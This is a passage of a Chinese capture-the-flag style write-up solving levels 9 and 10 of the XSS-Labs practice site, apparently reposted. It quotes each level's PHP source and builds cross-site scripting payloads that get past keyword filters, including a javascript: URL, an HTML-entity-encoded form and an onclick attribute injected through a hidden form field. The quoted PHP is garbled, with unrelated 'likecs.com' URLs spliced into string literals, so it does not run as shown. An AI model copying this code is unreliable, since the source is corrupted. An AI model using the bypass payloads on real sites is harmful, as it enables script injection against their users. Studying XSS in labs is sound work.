XSS-Labs(Level1-10) (3)

因为我不晓得他为什么不更新参数,所以我看了一下源码

<?php if(false===strpos($str7,'http://'))//进行判断有没有,strpos() 函数查找字符串在另一字符串中第一次出现的位置。 { echo '<center><BR><a href="http://www.likecs.com/您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'http://www.likecs.com/.$str7.'">友情链接</a></center>'; } ?>

得,原来他需要,重新构造payload:javascript:alert(1)//http://

<a href="http://www.likecs.com/javascr_ipt:alert(1)/http:/">友情链接</a><!--又替换了script-->

继续编码注入,&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://

XSS-Labs(Level1-10)

源码审计 <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="http://www.likecs.com/您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'http://www.likecs.com/.$str7.'">友情链接</a></center>'; } ?> <center><img src=http://www.likecs.com/level9.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> Level-10 简单尝试

一看没有输入框,查看一下网页前端代码

<h2 align=center>没有找到和well done!相关的结果.</h2><center> <form id=search> <input value="" type="hidden"> <input value="" type="hidden"> <input value="" type="hidden"> </form>

发现有三个隐藏表单,通过构造poc,查看回显源码

<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;script&gt;相关的结果.</h2><center> <form id=search> <input value="" type="hidden"> <input value="" type="hidden"> <input value=""onclick="alert(1)" type="hidden"><!--发现只有这个标签有变化--> </form> 绕过分析

通过上面得标签,直接修改元素,将hidden删除,点击触发xss

XSS-Labs(Level1-10)

源码审计 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input value="'.'" type="hidden"> <input value="'.'" type="hidden"> <input value="'.$str33.'" type="hidden"> </form> </center>'; ?>

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zwwjfz.html